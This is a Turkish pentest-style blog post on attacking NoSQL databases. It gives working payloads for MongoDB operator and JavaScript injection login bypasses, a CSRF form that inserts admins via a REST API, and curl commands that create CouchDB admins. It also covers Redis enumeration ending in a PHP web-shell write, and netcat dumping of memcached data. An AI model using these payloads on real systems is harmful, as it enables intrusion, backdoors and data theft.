Merhabalar, bu yazımda NoSQL zafiyetlerini anlatmaya çalışacağım. NoSQL'i anlatmak istemedim çünkü biraz geniş; mongo'sundan couch'ına bir sürü veritabanı var. Bu blog sitemde bulunan yazıların ofansif olmasını istiyorum. O yüzden NoSQL'i anlatmayacağım. Aslında NoSQL’i ve güvenlik açıklarını bir video şeklinde anlatmayı planlıyordum ama birkaç sorundan dolayı direkt olarak blog yazısı olarak paylaşmaya karar verdim umarım yararlı bir yazı olur...
ARRAY INJECTION
Veritabanı: MongoDB
MongoDB veritabanı çalışan bir websitesindeki giriş sayfası örneğine bakalım. Verilen değerleri POST metodu ve array ile aldığını varsayarsak PHP'deki array kodumuz şu şekil olacaktır:
PHP+MongoDB:
db->logins->find(array(“username”=>$_POST[“username”], “password”=>$_POST[“password”]));
POST isteğinin body’si:
username=kullanici&password=p4r0l4
JSON olarak:
{“username”: ”kullanici”, “password”: p4r0l4 }
İstek sonucunda Mongodb sorgusu şu şekilde olacak:
db.logins.find({ username: 'kullanici', password: ‘p4r0l4’ })
Bildiniz üzere Mongodb’nin syntax’ında ‘eşit değildir’ (!=) ifadesi $ne ile kullanılıyor. Eğer bu ifadeyi login sayfasındaki sorguya enjekte edersek login bypass yapabiliriz.
POST isteğinin body’si:
username[$ne]=1&password[$ne]=1
Eğer isteğimizi böyle gönderirsek çalışacak kodlar şu şekilde olacak:
PHP kodu:
array(“username” => array(“$ne” => 1), “password” => array(“$ne” => 1));
MongoDB sorgusu:
db.logins.find({ username: {$ne: 1}, password: {$ne: 1} })
Sorgu şu şekilde çalışacak: username ve password 1’e eşit olmayan kullanıcıları getir. Büyük ihtimalle bu sorgu kullanıcıların hepsini döndürecek ve id’si en küçük olanıyla direkt sisteme giriş yapmış olacağız.
(Biraz daha açıklayıcı olması için) MongoDB sorgusunun SQL sorgusundaki karşılığı:
SELECT * FROM logins WHERE username <> 1 AND password <> 1
NoSQL ‘OR’ injection
Veritabanı: MongoDB
Kullanıcı adı ve şifre parametrelerini bir HTTP POST aracılığıyla dizeleri birleştirerek sorguyu oluşturan back-end'e gönderen bir login formunu inceleyelim. Kodumuz şu şekilde olacaktır:
string query = “{ username: ‘“ + post_username + “’, password:‘” + post_password + “’ }”
Eğer kullanıcı adi olarak kullanici, parola olarak şifre girersek bu şekilde görülecektir
JSON:
{username:'kullanici', password:'sifre'}
Bu girdileri parola olmadan bir kullanıcı hesabına giriş yapacak şekilde düzenleyelim yani ‘or’ mantık ifadesini kullanalım. MongoDB’de or ifadesi $or şekilde kullanılıyor. Or ifadesini eklediğimizde:
POST isteğinin body’si:
username=ka’, $or: [ {}, { ‘a’: ‘a &password=’ } ]$random: ‘ka
Bu isteği gönderdiğimizde json olarak şu şekilde gözükecektir:
{username: ‘ka’, $or: [ {}, { ‘a’: ‘a’, password: ‘’ }]$comment : ‘yorum falan ’}
Bu sorgu kullanıcı adı doğru olduğu sürece çalışır. Mongodb’de boş olan her sorgu doğru kabul edilmesinden dolayı ‘or’ ifadesi içerisine {} yazdım. $comment eklememizin sebebi hem sondaki tırnaktan (‘) kaçmak hem de $comment mongodb’de sorgularla beraber kullanıldığında sorguya yorum ekledeğinden dolayıdır böylece sorguda bir hata oluşmayacak.
Bu sorguyu SQL sorgusu şeklinde yazacak olursak yazacak olursak şuna benzeyecek
SELECT * FROM logins WHERE username = ‘ka’ AND (TRUE OR(‘a’=’a’ AND password = ‘’)) #yorum falan
NoSQL Javascript Injection
Veritabanı: MongoDB, CouchDB, Cloudant ve Bigcouch
Bazı nosql veritabanları karmaşık sorguları veya map reduce gibi işlemleri gerçekleştirmek için veritabanı motorunda javascritp çalıştırmaktadır.
Eğer js yürütme işlemi düzgün yapılandırılmamışsa kullanıcı girdisi sorguya giden yolu bulursa bir saldırı yüzeyi ortaya çıkar.
Bir ürün koleksiyonuna sahip ve sorguda parametre olarak çıkış karaktersiz kullanıcı inputu içeren karmaşık bir işlem varsayalım. Developer bu alanların toplamını veya ortalamasını almak istedi, bu nedenle kullanıcıdan bir parametre olarak üzerinden işlem yapması gereken field alanının adını bir map reduce işlevi yazdı yazılan kod php olarak şöyle gözükecektir:
PHP kodu:
$map = "function() {
for (var i = 0; i < this.items.length; i++){
emit(this.name,
this.items[i].$param);}}";
$reduce = "function(name, sum){
return Array.sum(sum); }";
$opt = "{ out:'totals' }";
$db->execute("db.stores.mapReduce($map, $reduce, $opt);");
Payloadımız:
a);}},function(kv) { return 1; }, { out:'x'}); db.users.insert({success:1}); return1;db.stores.mapReduce(function() { { emit(1,1
Eğer parametre olarak alınan girdiye payloadımızı girersek payloadımızla beraber çalışacak kodumuz şu şekilde olacak
$map = "function() {
for (var i = 0; i < this.items.length; i++) {
emit(this.name,
this.items[i].a);}},
function(kv) {
return 1;},
{out:'x'});
db.users.insert({success:1});
return 1;
db.stores.mapReduce(function() {{ emit(1,1); }}";
$reduce = "function(name, sum) { return Array.sum(sum); }";
$opt = "{ out: 'totals' }";
$db->execute("db.stores.mapReduce($map, $reduce, $opt);");
Payloadımız users collectionına veri eklememizi sağlayacaktır(altı çizgili olan yer o yüzden oraya uygun değerler yazmamız gerekir.) Altı çizgili olmayan yerler ise bypass etmemizi sağlayacaktır.
HTTP REST API
Veritabanı: Mongodb, CouchDB, HBase vb.
Bazı Nosql veritabanlarının ortak özelliklerinden biriside HTTP REST API'dir
REST API ile veritabanının uygulamalara basitçe sunulmasını sağlar çünkü bir aracıya ihtiyaç duyulmaz, herhangi bir programlama dilinin veritabanına HTTP sorguları gerçekleştirmesine izin verir.
Peki bunun güvenlik riski var mıdır? Evet vardır. REST API, veritabanını CSRF saldırılarına açık hale getirir. bir saldırganın güvenlik duvarını ve diğer savunmaları atlamasına izin verir.
Eğer veritabanının intranette çalıştığını varsayarsak eğer saldırgan bu ağa bağlanmış herhangi bir çalışana zararlı kodu barındıran bir siteyi ziyaret etmesini sağlarsa. csrf atak başarılı olacaktır.
Saldırganın eğer ağa sızdıysa bunu kendisi de yapabilir.
Şimdi örnek ile inceleyelim:
MongoDB için tam özellikli bir HTTP arayüzü olan Sleepy Mongoose API, URL tarafından şu şekilde tanımlanır:
http://{host name}/{db name}/{collection name}/{action}
Bir belgeyi bulmaya yönelik parametreler sorgu parametreleri olarak eklenebilir ve yeni belgeler istek verileri olarak eklenebilir. Örneğin, safe internal db host'undaki hr adlı veritabanındaki admins collection'a username’i attacker olan yeni document eklemek istersek, bu URL’e POST olarak bu verileri göndermemiz gerekecek
Eklemek istediğimiz veri: {username: 'attacker'}
URL: http://safe.internal.db/hr/admins/_insert
Post body’si: username=attacker
Önceden de dediğim gibi saldırının başarılı olması için birkaç koşulun karşılanması gerekir. Birincisi, saldırganların ya kendilerine ait bir web sitesi üzerinde ya da bir web sitesini istismar ederek kontrol sahibi olmaları gerekir. Saldırganlar, web sitesine bir HTML formu ve formu otomatik olarak gönderecek bir JavaScript yerleştirir.
CSRF: <form action=”http://safe.internal.db/hr/admins/_insert” method=”POST” name=”csrf”>
<input type=”text” name=”docs” value=”[{"username":attacker}]” />
</form><script> document.forms[0].submit();</script>
Şimdi Couchdb’yi biraz ayrıntılı inceleyelim:
Eğer couchdb kullanıyorsanız ve yöneticiyseniz ekranda olan kodları kullanabilirsiniz. Bu kodlar ile veritabanı oluşturma, silme, document oluşturma, silme, update etme, gibi işlemleri yapabilirsiniz.
Veritabanı oluşturma: PUT /databaseismi
Veritabanı Silme: DELETE /databaseismi
Document oluşturma: PUT /database/<doc> (isteğin body'sinde json formatında eklenecek değerler olmalıdır)
Document update etme: PUT /database/<doc>?rev=1-4E2 (isteğin body'sinde json formatında değiştirilecek değerler olmalıdır. Rev değeri token'dır)
Document silme: DELETE /database/<doc>?rev=2-6A7
Task Status listesini okuma: GET /_active_tasks
CouchDB’de bu api’leri kullanarak admin ekleyebiliyoruz.
curl -X PUT $HOST/_node/$NODENAME/_config/admins/kullanici -d '"password"'
HOST="http://admin:password@127.0.0.1:5984"
NODENAME="_local"
Host değişkenimiz kullanıcı adı, parola, ip adres ve veritabanı portunu içeriyor.
Buradaki _local'ın local node ismi için bir takma ad görevi görüyor, bu nedenle tüm yapılandırma URL'leri için NODENAME, yerel node’un yapılandırmasıyla etkileşim kurmak için _local olarak ayarlanabilir.
Version 2 öncesi için admin eklemek daha kolay version 2 öncesi için:
curl -s -X PUT http://localhost:5984/_config/admins/ka -d '"123456"'
Buradan da anlayabileceğiniz gibi version 2den öncesi bu attack için daha uygun diyebiliriz.
CouchDB Login Bypass
PHP array injection ile MongoDB veritabanlarını kullanılan application’ların login bypass işlemini görmüştük şimdi ise CouchDB login bypass’a bakalım.
all docs, veritabanındaki belgelerin tümünü döndürür.
changes, Veritabanındaki belgelere yapılan değişikliklerin sıralı bir listesini verir.
Tanımlanmamış parola özelliğine sahip özel _all_docs belgesini kullanarak bypass yapabiliriz.
https://site.org/login?user=_all_docs
https://site.org/login?user[]=_all_docs
Redis Enumeration
Redis metin tabanlı bir protokoldur. Komutu socket’e gönderebilirsiniz gelen response okunabilir olacaktır. Bunun için ilk önce veritabanına bağlanmamız gerekiyor. Redis’e bağlanmak için netcat veya redis-cli kullanabilirsiniz. Bağlandığınızda yapmanız gereken ilk iş info komutunu göndermek olmalı. Redis default olarak bir giriş bilgisi olmadan erişilebildiği için eğer bir kullanıcı oluşturulmamışsa biize bilgileri döndürebilir veya Configrasyon yapıldıysa bize “No Auth Authenticaiton required” döndürecektir. Eğer no auth uyarısı döndürürse giriş bilgilerine ihtiyacımız var demektir.
> redis-cli -h <ip adres>
> INFO
NOAUTH Authentication required.
> AUTH <username> <password>
+OK
Eğer sadece şifre yapılandırıldıysa, default kullanıcı adı ‘default’tur. Kullanıcı adını ve şifresini elde etmek için Brute Force kullanılabilir. Eğer bilgiler doğruysa size “OK” döndürecektir.
Eğer redis anonim bağlanmayı kabul ediyorsa veya giriş bilgilerini bulduysanız. Enumeration’a başlayabilirsiniz. Bu komutlardan bazıları ise şunlar:
> client list
> CONFIG GET *
INFO komutu bize redis ile ilgili bilgileri döndürecektir. Client list, bağlı olan clientları, Config get ise configrasyonu getirecektir. Ve daha bir sürü komutu çalıştırabilirsiniz.
Database dump aşamasına geçersek. Redis'in içindeki veritabanları 0'dan başlar. "Keyspace" içindeki komut bilgilerinin çıktısında herhangi birinin kullanılıp kullanılmadığını bulabilirsiniz: INFO <Keyspace alanı>
>INFO <keyspacealanı>
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
db1:keys=2,expires=0,avg_ttl=0
Bu örnekte veritabanı 0 ve 1 kullanılmaktadır. Veritabanı0, 4 anahtar içerir ve veritabanı1, 2 tane içerir. Varsayılan olarak Redis, veritabanı0'ı kullanır. Örnek veritabanı 1'i dökmek için yapmanız gerekenler ise şunlar:
>Select 1
> KEYS *
Select komutu ile veritabanı seçeriz. Keys yıldız komutu ile anahtarları döndürür. GET ile key’i yazarsak bize yazdığımız anahtarla ilgili verileri döndürür.
> GET <key>
Aslında şuan veri tabanının içerisinde olduğumuz için bir RCE açığı oluşturabiliriz. veritabanına anonim bağlandık veya giriş bilgilerini bulup bağlandık. Şimdi bir dosya oluşturup içerisine backdoor’umuzu koyabiliriz bunun için şu komutları kullanmalıyız:
> config set dir /var/www/html
Yanıt: OK
> config set dbfilename rce.php
Yanıt: OK
> set test “<?php system($_GET[‘cmd’]); ?>”
Yanıt: OK
>save
Yanıt: OK
Config set dir komutu ile çalışan web sunucusunun klasörünü seçiyoruz. Daha sonra dbfilename olarak php dosyamızın belirletip oluşturuyoruz. Bundan sonra set test ile ilgili kodumuzu yazıp save komutu ile kaydediyoruz.
Memcached
Memcached, SASL'yi (Basit Kimlik Doğrulama ve Güvenlik Katmanı) desteklese de, çoğu örnek kimlik doğrulaması olmadan kullanıma sunulur.
Bir memcached örneğinde kaydedilen tüm bilgileri filtrelemek için yapmanız gerekenleri 3 adım olarak sıralayabiliriz.
1- Active itemlere sahip Slab’leri bulmak:
2- Önceden belirlediğimiz slab’lerin key namelerini almak
3- alınan key nameler ile kaydedilen verileri filtrelemek
Şimdi gerekli komutlarımıza bakalım. Bildiğiniz üzere memcached’in kullandığı port numarası 11211’di. Bu örnekte veritabanına netcat ile bağlanıyoruz varsayacağım.
ilk olarak veritabanının versiyonuna bakmak için “version” kelimesini kullanıyoruz.
stats komutu ile durum bilgisini alıyoruz.
stats slabs komutu ile slab’leri döndürüyoruz.
stats items komutu ile slab’lerin itemlerini bilgilerini döndürür:
echo “version” | nc -vn -w 1 <IP> 11211
echo “stats” | nc -vn -w 1 <IP> 11211
echo “stats slabs” | nc -vn -w 1 <IP> 11211
echo “stats items” | nc -vn -w 1 <IP> 11211
buraya kadar 1. adımımızı gerçekleştirmiş bulunuyoruz
(2.adım) stats cachedump ve slab numarası ile key namelerini döndüreceğiz. Komutta bulunan 0 sayısı sınırsız çıktı için gerekli:
echo “stats cachedump <numara> 0” | nc -vn -w 1 <IP> 11211
2. adımımızı da gerçekleştirdik ve son adım kaldı: Kaydedilen bilgileri almak... Onun için de get item ismini kullanıyoruz..
echo “get <item_ismi>” | nc -vn -w 1 <IP> 11211
Bu servisin sadece bir önbellek olduğunu unutmamak gerekir.
Umarım yararlı bir yazı olmuştur. Yanlış bir şey yazdıysam yorum atıp bildirirseniz düzeltirim. Bir sonraki yazımda görüşmek üzere iyi günler...
Kaynakça (notlarımdan baktığım için kaynakça eksik, buldukça tamamlayacağım):
https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf
https://book.hacktricks.xyz/pentesting/11211-memcache
https://docs.couchdb.org/en/main/api/document/common.html
No comments:
Post a Comment